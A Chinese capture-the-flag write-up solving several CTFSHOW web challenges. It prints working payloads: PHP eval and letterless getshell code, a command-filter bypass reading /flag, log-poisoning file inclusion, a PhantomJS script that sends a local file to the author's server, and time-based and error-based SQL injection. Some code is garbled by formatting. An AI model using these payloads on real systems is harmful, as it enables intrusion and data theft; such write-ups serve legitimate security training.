CTFSHOW 36D杯 WEB简单的Write-Up

  • A+

平台地址:https://ctf.show/
题目质量还是很不错的。本人比较菜,希望能给各位师傅一点小小的帮助

你取吧

打开题目给了源码
php
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','~','^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?

可以发现,源码中给了一个$hint,并且发现他给出的是hhh.php base64后加密的内容,那么第一步肯定是要利用echo函数输出$hint的内容了

解法一

> 使用
${$_{7}.$_{8}.$_{12}.$_{19}}

构造出$hint

原理

使用$_{}可以截取黑名单中的字符,题目源码又给了hint,直接从黑名单中选取相应的字符位置,$ $_{7}=h 然后最终用${}包裹,就会变成$hint,就可以读到`Hhh.php 经过base64编码后的源码了

解密得到一个压缩包:phpjiami.zip和一个地址:hint.ph
发现有混淆,使用php反混淆工具解密,发现shell

shell
在hint.php使用POST传入相应命令获得flag。

解法二

使用P神的无数字字母getshell
```
code='123');$=[];
$
[email protected]"$";
$
=$['!'=='@'];
$=$;
$
=$
;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$.=$_;
$
.=$;
$
=$
;
$++;$++;$++;$++;
$.=$_;
$
=$_;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$.=$_;
$
=$_;
$
++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$___.=$__;

$_='';
$
=$_;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$_.=$_;
$
=$_;
$
++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$_.=$_;
$
=$_;
$
++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$_.=$_;
$
=$_;
$
++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$____.=$__;

$=$$_;
$
($
[]);#&=system('cat /flag');
```
直接就可以获得flag

WUSTCTF_朴实无华_Revenge

``` php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(file);

function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
```

可以发现需要通过两关才可以拿到flag

第一层

```
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
``
首先此题自定义了一个函数,理解起来比较容易就不细说了
需要传入num并且在这之后使用了intval函数与strrev函数
第一层可以使用浮点精度绕过,
?num=0.01.0`

第二层

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

弱类型比较了,找到0e的md5就可以了
``` python

coding:utf-8

import hashlib

for i in range(1,999999999999):
i = str(i)
num = '0e' + i
md5 = hashlib.md5(num.encode()).hexdigest()
md52 = hashlib.md5(md5.encode()).hexdigest()
if md52[0:2] == '0e' and md52[2:].isdigit():
print('success str:{}'.format(md5))
break
``
跑了一个多小时发现一个
0e1138100474`

第三层

php
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");

乍一看过滤了很多命令,简单的get_flag=cat&lt;/flag即可

ALL_INFO_U_WANT

打开靶机,扫描一下发现了bak备份
``` php
visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:

<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}

if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}
``
那么直接进入
all_info_u_want.php吧,该平台中WEB4和本题做法类似
包含apache
access.logUser-agent`写入一句话木马包含即可

RemoteImageDownloader

打开靶机是一个输入框,给了http:??。猜测是ssrf了

题目图
随便测试一下发现返回的是访问网页的截图
找到了一篇关于从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
在自己的vps上写一个html指向一个JS即可获得flag
js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('&lt;iframe src="http://ip/?data='+b64+'"&gt;&lt;/iframe&gt;');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///flag");
oReq.send();

监听下端口,http://ip:port/1.html 就能看到返回的flag

给你shell

打开靶机给了源码
``` php
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(FILE);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^["0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

查看cookie发现`secret`
根据源码含义
首先从`cookie`中取出`secret`,进入`checkCookie`函数
如果`secret`键对应的值`!=$flag_md5`进入`havefun`函数
爆破一下。发现在secret为115时候有回显
更改`cookie`为`{“secret”:115}`,传入`give_me_shell=1`进入下一页面
php
<?php
error_reporting(0);
session_start();

//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";

if (!$_SESSION['login'])
die('');

if (!isset($_GET['code'])) {
show_source(FILE);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}

/
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
/
``
fuzz一下 过滤了一吨符号
$;^f/*&)等都没有了,怎么包含文件呢
发现没有过滤
取反require函数
构造一下payload:
?code=]=123?>;<[email protected]~%d0%99%93%9e%98?>`

Login_Only_For_36D

打开页面就发现是一个注入题目
fuzz一下发现过滤了常规的select,union,',",等符号,不能使用联合查询。
单引号逃逸考的比较多了,使用'逃逸,构造语句发现构造布尔为真的语句返回无变化,使用sleep(5)发现成功执行。
使用时间盲注。
进一步测试,无法直接注入得到表名,使用regexp注入,盲猜password并比较十六进制值
在mysql中不区分大小写,而密码中肯定是大小写均包含,所以使用binary函数区分大小写

``` python
import requests as req
import time

def ordthex(string):
result = ''
for i in string:
result += hex(ord(i))

result = result.replace('0x','')
return '0x'+result
flag=''
url = "https://dc695489-cf68-45f2-97f9-1a21f62ba9e3.chall.ctf.show/"
string = [ord(i) for i in 'IABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
for i in range(50):
for j in string:
password = ordthex(res+chr(j))
password = 'or//if((password//REGEXP//binary//{}),sleep(5),1)#'.format(password)
data = {
'username':"admin",
'password':password
}
startTime=time.time()
r = req.post(url=url, data=data)
endtime=time.time()
if endtime - startTime > 5:
flag += chr(j)
print(flag)
break
``
Y1ng师傅的脚本大概改一下即可跑出密码ILoVeThlrtySixD`登录即flag

你没见过的注入

题目提示直接给了:

>1.不需要爆破、扫描
>2.没有源码泄露
>3.登陆不上去找txt

看到txt,想到的肯定是robots.txt了,访问发现重置密码界面(真后门)

重置密码后进入前台,发现是文件上传

根据题目名称,看来是在文件上传处进行注入了。

测了一会儿后发现是元数据注入,找个图片在版权信息报错注入读文件

u’or updatexml(1,concat(0x7e,(select left(load_file(“/flag”),25))),0) or ‘

flag比较长,使用函数截取即可

总结

内容写的比较简单,希望能给各位师傅一点小小的帮助~

参考链接

https://www.anquanke.com/post/id/86371
http://www.ch4ser.top/2019/04/22/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%A2%98%E5%9E%8B/

相关推荐: Primary Access Token Manipulation Attack(令牌操作攻击上)

令牌操纵攻击是APT组织所使用的一种常见技术,恶意软件可在受害者的系统上获得更高的特权或代表任何其他用户(假冒)执行某些操作。 这是一些MITRE上面使用的令牌操作攻击技术的APT和工具的示例: 我们可以看到里面包含了常见的cobalt strike的make…